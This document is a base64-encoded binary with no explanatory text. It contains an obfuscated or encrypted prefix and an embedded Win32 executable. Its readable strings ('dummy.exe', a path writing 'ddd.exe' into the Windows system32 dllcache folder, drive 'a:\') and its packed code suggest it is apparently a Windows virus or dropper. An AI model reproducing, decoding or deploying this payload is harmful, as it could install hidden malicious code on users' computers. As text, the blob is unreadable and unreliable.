VFXjwFTa81VU2lHzV9TQVNpVU9lXVNT129VRU1pR89hXWlfZ8+PJ11da81da8+NH83Fa819U WfNYVFnV0fNxWvNX2fTjUdTWVF/j1VdWUeNYV1rX49dU21HjUd/bUVLZ4+NC19pXWtlVU1rj xFFY819RU9rjSlNX1NnzyFPVUdTZV9RRcFrzwVNf40PV1ddT1dVUWFVTWuND29pX1fPAVFTV WnDzwVNf48VT0V/zwVNf40NaWllV29lXVNTjQlPU0dVRVVNa40PV1fNKVFnVWnDBU1/jQdtX 29dT1F/j4+Pj48dT29tf8+PHU9hR81Pz4+P90tr8ZebjZebj21Ra2VVTWtlR2uPj40hX1Fbj 40dVU1BRy1PZ1+NFR0VBdchR2lpXVNT+83v0+2XmQlTU2VHU2XXJX9tR/vNVWdXZV9tT2tl0 U9XZUdrUU9lX2FF+ZeZn0lRZ1NFT2l9940JU1NlR1Nl1yV/bUf7z2VHf2XTX2VXVfmXmQlTU 2VHU2XXJ2lPUWtBR2nVB1FJU0VfUUP7zW1lU2VHRddvaV9TZU9LVUWXmZeb9x8lFxfz9x0FD wfz9dMdBQ8H8/cJEwU/8cVpl5v3ARMTJ/OPj/XTARMTJ/P10wkTBT/z9dMfJRcX84+PjQlTU 2VHU2XXJX9tR/vNxWn5l5mfUU1VRfXFaZeZCVNTZUdTZdcnaU9Ra0FHadUHUUlTRV9RQ/vPS U1pR+Pll5kJU1NlR1Nl1R8H+8/1xWvzj4+Pj4+Pj4+PjU1nRV1R033VYU9jjU1nRV1R033VV V9FX41Pb29VXUlPZV1TUdFRS2VHZdVrZ2lFTVePj4+Pj4+Pj42Xm/VfQ2lNVUfNa2lJ9esFS V9H+cVrz11FXUNfZfXrB+/NYV9HZ1316wfv8Zeb9dFfQ2lNVUfzjyddXWvNQU1VR81da81Vf 89BX2lrZ81hU2lb0/dLa/GXmT1RZcNpR89nXUfPQV9pa2fPb1VNfUdr040RHQkvjy9pUUNpT VcBX1VFawVfa4+Pj41pV2dv040xDyMt6+uNMQ8jLQkLjxETBevrjxMtKSshC48TKQUpLevrj xEpCx0HBevrjxEpCx0HBxMnjxErLxUlAR8TjxEPI48RDyEPLSshC48RDyEPLSHr648RDyMVJ evrjxEPIyknEyuPEQ8hIevrjTEPIy0XjQ8VByslKyELjQ0VExONDyMt6+uNDyMtCQuNDyMtF 48R6+kpCQ8RI48RDyEjEyeNDxMlHyEfK40PIy0nLweNDyEBCycrF40PISEfEf3njSkJDxHr6 48hKx0hHxHr648B1SslEy0jjwHXLykTJf3njQ0JGSEfEevrjyEHJycpDT+PIQcl/eeNKSEFB y39548tCQkhHxH//40dERUTEf//jQ8jLyULjQ8hBevrjQ8hCRMRKRMXjwMt1SEfE48HIy395 48B1Q0DEyX9540LFQ0h/eePEyEJ/eeNKQkPE48hHyklK48VEQkbBREjE+vv7++PEVNrZVNTj RVJT0FFR40PU2VfYV9rjyUNKRkVAyuPj4+Pj4+Pj4+Pj4+Pj4+Pj4+NDxMlHdchHyvTBQ8nj QsdGxUdKyfTBQ8njQsdGxUdKyfRFSuNCx0bFR0rJ9ELLSuNCx0bFR0rJ9MlDyONHyML0xMnO 40pFQ8rJQsdG9EVK40pFQ8rJQsdG9ELLSuNDyEBLyfTBQ8njQ0BJQ8rB9MFDyePj4+Pj4+NK 19VYU9tX9NHV1eNGUdrUUdV6+vTR1dXj1FHZU9tXevr00dXV41rQUvTR1dXj4+Pj40pX2lJT VePEV1XRU+NCVNFRylHR40hLRkVFev94/+NAykdBwHr/eP/jwFnU88VU2FfUUPNC2ldVV9RT 1ePEVNrZVNTjRVJT0FFR40PU2VfYV9rjQ9hSVNRaVNXjwHVKyUTLSOPAdUpRUlnaUeNKVNvX VFrj2FfaWVrjQ8jL80VU1FfZVNrjQ8jL80nb0VPZUVrjR9RUUlnVU9lRR8njy0J1UlfV1VfU 40pfVVPU2VFS48naUdTR80VXUtpU48B1y8pEyePzxETBevrz4+PjylFQV1rZUdpKUdrYV1JR y9pUUlFaWuPEUdlK11PaUUPR0eNKx8FR1VHZUUZRX0PjStBSR1rAV9VRy9pU2VFS2VHR48RR 2UrXU9pRQFHZR9TQVOPEUdlD21fCWdDQUdrA2lFR4+Pj4+NBz8vFRMpByuNCRUVAyuNVWldV 1ONXUlhSVNTU41hX1N5X2+Pj4+Pjy9pUUNpTVeNxWvP9cVr840PCQsFBwEDHR8ZGxUXERMtL ykrJSchIz0/OU9JS0VHQUNdX1lbVVdRU21vaWtlZ2FjfX977e/p6+Xn4eP9/dnTjWlHZWdvj V9Ra2VPV1ePRUVVU41rUVFTbX+PbV1JTUlnjVlfZ2V/j29VTX+PaVFJW4+Pj4+Pj4+PKU9pz 7mDjBKta4+Nl4+Pj4+Pj4+Pj9NpT2uPjWFfUV9RR2fTR1dXjR9TZUdrUUdlAUdlCVNTUUVLZ UdFK2VPZUePj48FX2lFS2VTaX+PR1dVSU1LXUePjSlHBUdJZUMvaV9hX1VFQUeNKUclS0sva V9hX1VFQUePj4+Pj4+Pj41jQUvRSVFX02Vjj42XmSFfUevrzRtVR3vPI+vT78/DzSFfUevrz QdVWUdrU88h79Hv198nXUdpR89RXUlbz1FNVUfNXWvPJWFfU88hX2lla9sxMTMz2d2XmQlTb X9pXUNfZ9VVT0VHzV9TzQ1pXU/VT1NRUWdRSUVVR1Nn+ZeZ79EfzWFfV1fPZ2l/zVV/z0lFa 2fPZVPPb2lTZUVLZ89nXUfNZWlHa89DaVFXzWlRVUfPYV1JXVFla89hX2lla9cBZ1NVU2FH1 SlfaUlNV9cRXVdFT9UJU0VHKUdHzU9TR81HYUdTzV9RS1VnRUfNIevr0RtVR3vN79M/0Zeb6 9EhR1dXz21NX0fPWVNJa81PaUfNYU9TZUdFl5nr0y1RU2vPVV9BR81rXVFnV0fPSUfNZ1NLV UVpaUdFl5vn0wVTUcNnzU1JSWVpR81VR9MvVUVNaUfNTUlJZWlHz2ddR81nU0FNX2vNa11fZ 81hU2tXRZebj4+Pj4+MBAAAAEQAAABsAAAAiAAAAeAAAAIgAAAB1AQAADAAAAIUBAAAcAAAA pQEAAFMAAAAOAgAADgAAADYCAAAOAAAAXgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAYxgAAJ4BAAAMGgAA9AEAAGkqAAAUAQAA5CsAAJwEAABNWlAA AgAAAAQADwD//wAAuAAAAAAAAABAABoBAAC6EAAOH7QJzSG4AUzNIZCQVGhpcyBwcm9ncmFt IG11c3QgYmUgcnVuIHVuZGVyIFdpbjMyDQokN1BFAABMAQQAnSsEiAAAAAAAAAAA4ACOgQsB AhkAAgAAABQAAAAAAAAIQgAAAEAAAAAgAAAAAEAAABAAAAACAAABAAAAAAAAAAMACgAAAAAA AGAAAAAEAAAAAAAAAgAAAAAAEAAAIAAAAAAQAAAQAAAAAAAAEDAAAGRAAAAQQ09ERQAAAAAA EAAAABAAAAACAAAABiAAAGBEQVRBAAAAAAAQAAAAIAAAABAAAAAIQAAAwC5pZGF0YQAAABAA AAAwAAAAAgAAABhAAADALnJlbG9jAAAAFAAAAEAAAIASAAAAGmAAAPBoyAAAAOgHAAAAagDo BgAAAP8lNDBAAP8lODBAKDBAMAAANDBOMAAAVjAAAAAAAABOMAAAVjAAAAAAAABLRVJORUwz Mi5kbGwAAAAAU2xlZXAAAABFeGl0UHJvY2VzcxAAABAAAAATMBkwyEQAALgCV1HoNgAAAB+Y a5DKU4MISyh1Rlef2v4SM5FrOi7HptQsuhnLPq0xaZZESKk6gr+YOnBZEL0UAaCKzrFKkF38 YI11U2a6VgL8ig6A8UHAweeA8XyIDkZmSnXu3yqYrDNI6DlRp75B8em7Ual7PKG5ubm5uaJT ThW+MtUZuEOHmKey8Lm5uROisrC7ubkZcUbbcar7rgHx0bp+ubm5Rro+ubm7uXW6zyMNU16u P8G/PnW6yRkzU3ZUOZf5UXquOUm/Pq4Zob8eus0vMx0lUya6TbEzId/dUzRxprsLC65Z+b9e rtW/Xt8cbYULG88ZiQtRyRs9GWh8ubm5bYULosJKu7m5Qlx15glTfB0trknxv06n1pEXrkmB v06ukZa/HqqQok67ubkNC3w6CQVtOWm5mbm5zqDBubnouFG/On6/H225RpI/vbm5oqJdu7m5 GxmWohuz7x29QN842Gju3zjs2M+n1iVA7yiuBUi/WLhyh17wrl6vVFGtv1yuJUCuBUhubg8f ot5Jvbm5rkR1yq6v4NE7ODh20UHsfFKoI6eoI52oI5M0M4dIuj6svbm5Rn5oubm5uQnjzD+5 ubO5mbm5Rnhoubm5uQmiuBZERkYZrjHxmaa4yLm5ud84Ph1tRg1A4K04UZHdGNipGmxftbpc /77JYkQoU1xudpwNPlF+ImhIiCumOK8sN+M/5VH71y4SM4qWKfDV6PxKlBwGCmv/JKLMTxaj aT4mHxpJNQUePXXk2OZFApBq0yRBdldC8nZXCLNoV5zldle0MHZXn8J0V7m5ubmK+HZXqZV0 V344dFdAsXZXhAN2V3cFdlfspHZXjVN2V3SPdFecu3ZXuqB2V62IdlfX6HZXlld2V1UjdleY GXZX7iF2V5S/dld/S3ZXfMF2V427dldmnnZX1+B2V7m4ubm5ubm5ubmIRwAAuAIAALm5ublJ Rp25vmLVrjNWAxMZqjPXRpKhvbm5rzhT/6LCJ6O5ud9UN6fUp37BF0aSqb25ua84U52iguqj ubnPTl+pCVQwOVMDbn1oh7G5uTen1Kd+HBkXGUaSsb25uaqw0r+lubkJNW56CXk7aCG5ubl7 quL/pbm5VDC4UZk7GysbRpKJvbm5E2hZu7m5ERsTooJFsbm5HxsbRpJRvbm5VDPJOVG3Dw97 OTyhuVQzybgPpjHxgXtTvUZ4PJm5G2mxu7m5otLNgbm5FUaS6b25uRW2VmiUv7m5yAEXW2/u NLLWv7m5u2ikv7m5yOVzSXNTocjlcWFhNLLWv7m5ve7fOOwFC37vVDPJOVPzeWh5sbm5qXtp ubG5uaLC96W5uRcZRpKBvbm5bbkVF0aSkb25uXloz7G5ubt7FQdoy7+5uVEPabG7ubkXbbtt uWixubm5FxsvuRkRaOW5ubkfZ3VRV3tdcwEja39dZ19ndVEBF2tlcWdXXwE/U11dc2VRFXNd X2tnZQEdU2W5ab25ubhGkr+lublGkrelublueWmxu7m5aCi9ubm+ZrcXbbttuWijubm5O1lZ K2VrUQcxISFfuRkRaDxGRkYfZ3VRV3tdcwEja39dZ19ndVEBF2tlcWdXX/klEQE/U11dc2VR FXNdX2tnZQEXa2VxZ1dfuT4DA0C6YLG7ubk0sh+zubnANrIqs7m5tkZGRqwjyVQ6OFGbNLIf s7m5uTayKrO5uT9GRkauUq7C/6W5uVQ6uFGBaLmrubmuMu82uHy3uDyxp9Qcaxw1hbm5zxhX r89WU1VUOjlRvW6ByjWFubmiwaVe8BEbFaKERbG5uR8bG0aSUb25uWjCqbm5VDypUYVUPLFR PWjIubm5otHxabG7ubkVRpLpvbm5aCy5ublohrm5uWiYqbm5dbpMScmnsEhKAAC4AgAA7Lm5 uWjUu7m5UbVUM8k4UbffOGjeu7m5bsBoUbm5uaLB8Wmxu7m5F225RpKBvbm5aLi7ublC2kbY AVzkQDQ3u7loX7m5uWgpubm5aMupubmn1DzKjbm5uVRap9QQujx7zbm5qpHxrkoRRpLxvbm5 ribBv12rwbFXs2jPubm5rLHxRDjBTVW92HuosfF8CGo/RkZGBRFGkvm9ubm4QfG1o1OTrDHx vcG/UbHBq1OrNLKetbm5OW6QRnR5olHx8Wh8ubm5aGK5ubnIAe3l7e7fOO66YDm7ubmi0s2B ubkRFUaS4b25uTmnsNq5ubkpGVYx8bG5l7m5U3+i0PFpu7m5aPq5ubkXaO65ubnKsbu5udgB 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 AgAAL3NLO7kdc3cfc1EVe2FTczNJO7m5Y1lduRclc1EnWXNlM2VTYzu5FyVzUTNlU2Mdc19n U11/czu5FyVzUT9hZ19zM2VTY7m5X3V/uR91fytfNWthcxldZ1Fzf1Fzcbm5uRNoubm5uQMb vyMVU69GkmdQRkauKLgquxu/Mx1TtUaSZ1BGRgvfHB4oVlq/PB44vxi0LB48vxqqExWqMx0L Az7GBSoQQAAzvnMtQAC9CBBAAOie6v//gL0IEEAAvn0tQADoSer//2oA6DUAAABkdW1teS5l eGUAZTpcd2luZG93c1xTeVN0ZW0zMlxkTGxjYWNoZVxkZGQuZXhlAP8lTEBAAP8lVEBAAAAA YTpcAHgAAAAuZGxsAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAGqeQAACAAAAAQIECAAA AACkAwAAYIJ5giEAAAAAAAAApt8AAAAAAAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAA waPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsA AAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAAQH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAA AAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAAAAC6EUEAuhFBAAAAIAAgACAAIAAgACAAIAAgACAA KAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAA EAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAA EAAQAIEAgQCBAIEAgQCBAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEA AQAQABAAEAAQABAAEACCAIIAggCCAIIAggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIA AgACAAIAAgACAAIAEAAQABAAEAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAEAAAAuAAAAAQAAANTSQADE0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAA AAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAAAAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8A AMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEAAMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAA AAAAAAMAAAAHAAAACgAAAIwAAAD/////AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIA AABA1UAACAAAABTVQAAJAAAA6NRAAAoAAADE1EAAEAAAAJjUQAARAAAAaNRAABIAAABE1EAA EwAAABjUQAAYAAAA4NNAABkAAAC400AAGgAAAIDTQAAbAAAASNNAABwAAAAg00AAeAAAABDT QAB5AAAAANNAAHoAAADw0kAA/AAAAOzSQAD/AAAA3NJAAAAAAAAAAAAAgCBJAAAAAACAIEkA AQEAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEHAQABBwEAAQcBAAEHAQABBwEAA QcBAAAAAAAAAAAAA+AMAAAAAAAAAAAAAAAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQA AAAYAAAABQAAAA0AAAAGAAAACQAAAAcAAAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAA CwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAADwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIA AAAhAAAADQAAADUAAAACAAAAQQAAAA0AAABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAA DQAAAFcAAAAWAAAAWQAAAAsAAABsAAAADQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYA AAAWAAAAgAAAAAoAAACBAAAACgAAAIIAAAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAA ngAAAA0AAAChAAAAAgAAAKQAAAALAAAApwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsA AAAYBwAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMRUAICoAACAKlEAgMAAAICsUACA GAEAgJhQAIBAAQCA3lQAgAACAICmUgCAGAIAgIBUAIAwAgCAAQAAAEgCAIACAAAAUAQAgAMA AAAgBwCABAAAAAAIAIAFAAAAKAgAgAYAAAAQCQCACQAAADgMAIAKAAAAWAwAgAwAAADwDACA DgAAAJAOAIAQAAAAyA4AgPAAAADgDgCAAAAAAAAAAAAAAAAAAQAAAMxUAID4DgCAAAAAAAAA AAAAAAAACQAAAD5RAIAQDwCAWFIAgCgPAIAuUgCAQA8AgApSAIBYDwCAilEAgHAPAIBiUQCA iA8AgOJRAICgDwCAtFEAgLgPAICAUgCA0A8AgAAAAAAAAAAAAAAAAAMAAAC+UACA6A8AgOZQ AIAAEACADFEAgBgQAIAAAAAAAAAAAAAAAAAAABYAAQAAADAQAIACAAAASBAAgAMAAABgEACA BAAAAHgQAIAFAAAAkBAAgAYAAACoEACABwAAAMAQAIAIAAAA2BAAgAkAAADwEACACgAAAAgR AIALAAAAIBEAgAwAAAA4EQCADQAAAFARAIAOAAAAaBEAgA8AAACAEQCAEAAAAJgRAIARAAAA sBEAgBIAAADIEQCAEwAAAOARAIAUAAAA+BEAgGUAAAAQEgCAZgAAACgSAIAAAAAAAAAAAAAA AAAAAAEALQEAAEASAIAAAAAAAAAAAAAAAAABAAAAsFIAgFgSAIAAAAAAAAAAAAAAAAABAAAA gFQAgHASAIAAAAAAAAAAAAAAAAAAAD8AAQAAAIgSAIACAAAAoBIAgAMAAAC4EgCABAAAANAS AIAFAAAA6BIAgAYAAAAAEwCABwAAABgTAIAIAAAAMBMAgAkAAABIEwCACgAAAGATAIALAAAA eBMAgAwAAACQEwCADQAAAKgTAIAOAAAAwBMAgA8AAADYEwCAEAAAAPATAIARAAAACBQAgBIA AAAgFACAEwAAADgUAIAUAAAAUBQAgBUAAABoFACAFgAAAIAUAIAXAAAAmBQAgBgAAACwFACA GQAAAMgUAIAaAAAA4BQAgBsAAAD4FACAHAAAABAVAIAdAAAAKBUAgB4AAABAFQCAHwAAAFgV AIAgAAAAcBUAgCEAAACIFQCAIgAAAKAVAIAjAAAAuBUAgCQAAADQFQCAJQAAAOgVAIAmAAAA ABYAgCcAAAAYFgCAQgAAADAWAIBDAAAASBYAgEQAAABgFgCARQAAAHgWAIBGAAAAkBYAgEcA AACoFgCASAAAAMAWAIBJAAAA2BYAgEoAAADwFgCASwAAAAgXAIBMAAAAIBcAgE0AAAA4FwCA 